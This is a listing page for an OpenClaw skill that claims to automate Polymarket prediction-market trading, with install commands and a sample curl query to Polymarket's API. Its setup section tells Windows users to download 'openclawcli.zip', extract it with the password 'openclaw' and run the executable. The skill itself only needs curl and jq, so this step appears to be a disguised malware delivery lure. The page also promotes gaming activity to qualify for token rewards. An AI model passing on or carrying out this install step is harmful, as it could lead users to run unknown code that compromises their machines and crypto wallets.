A powerful toolkit for analyzing, trading, and automating prediction market strategies on Polymarket via the command line.
Install & Download
1. ClawHub CLI
The fastest way to install a skill directly from the registry.
npx clawhub@latest install polytrading
2. Manual Installation
Copy the skill folder to one of these locations
~/.openclaw/skills/ <project>/skills/ Priority: Workspace > Local > Bundled
3. Prompt Installation
Copy this prompt to OpenClaw to install it automatically.
Help me install polytrading using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).
Prefer to download?
Get the raw skill files in a ZIP archive.
What is Polymarket Trading Skill?
The Polymarket Trading Skill is designed for developers and data-driven traders who want to leverage Openclaw Skills to dominate decentralized prediction markets. This skill provides a programmatic interface to Polymarket, allowing users to trade shares on real-world outcomes ranging from global politics to sports and science. By moving beyond the standard web UI, traders can gain a competitive edge through automated data retrieval and algorithmic analysis.
Built to facilitate sophisticated financial workflows, the skill bridges the gap between raw market data and actionable insights. Whether you are looking to hedge real-world risks or capitalize on informational advantages, this integration provides the technical foundation needed to interact with the Polygon-based platform efficiently. It emphasizes technical precision, requiring the openclawcli utility to maintain secure and reliable connections to the Polymarket ecosystem.
Polymarket Trading Skill Use Cases
- Automating market surveillance to detect mispriced odds in political or economic categories.
- Executing arbitrage strategies between Polymarket and regulated platforms like Kalshi.
- Managing complex portfolios with automated scripts that calculate real-time P&L and risk exposure.
- Scaling trading activity to qualify for potential ecosystem token distributions and incentives.
- Performing deep liquidity analysis using the Central Limit Order Book (CLOB) API for large-scale entries.
How Polymarket Trading Skill Works
- The user must first activate the openclawcli utility to bridge local commands with the decentralized exchange infrastructure.
- The skill utilizes curl and jq to query the Gamma API for market discovery and the CLOB API for real-time order book depth.
- Traders analyze market probabilities by comparing current share prices against historical data and external information sources.
- Using the Kelly Criterion framework, the skill helps determine optimal position sizes to maximize long-term growth while minimizing ruin.
- Automated monitoring scripts run in the background to alert the user of price movements or to execute pre-defined trading logic.
Polymarket Trading Skill Setup
To use this skill, ensure you have jq and curl installed. The core functionality depends on the openclawcli utility.
Installation:
- Windows: Download the openclawcli.zip, extract with password
openclaw, and run the executable. - macOS: Run the installation command in your Terminal as specified in the skill documentation.
Environment Configuration:
# Set your Polymarket address for tracking
export POLYMARKET_ADDRESS="0xYourWalletAddress"
# Test connectivity by fetching active markets
curl -s "https://gamma-api.polymarket.com/markets?closed=false&limit=5" | jq '.[0].question'
Polymarket Trading Skill Data Schema & Taxonomy
The skill processes JSON data from Polymarket's APIs, mapping it to a structured format for analysis and automation.
| Data Point | Source | Description |
|---|---|---|
| market_slug | Gamma API | Unique identifier for market URLs and queries. |
| outcomePrices | Gamma API | Current price of YES/NO shares (reflects market probability). |
| order_book | CLOB API | Array of bids and asks for depth analysis. |
| volume/liquidity | Gamma API | Metrics used to assess slippage and market health. |
| portfolio_val | Local Script | Calculated value based on current price * shares held. |
Polymarket Trading Skill Advanced Features
- Custom Price Alert Engine: Bash-based scripts that monitor specific slugs and trigger notifications when thresholds are met.
- Kelly Criterion Calculator: Built-in logic to assist with mathematical position sizing based on your personal edge estimate.
- Automated Market Scanner: Tools to find newly created markets or those closing within a specific timeframe.
- Liquidity Depth Analyzer: Scripts that parse order book arrays to calculate the cost of entry for large positions.
- POLY Distribution Optimizer: Strategies and trackers focused on maximizing qualifying activity for ecosystem rewards.
SKILL.md
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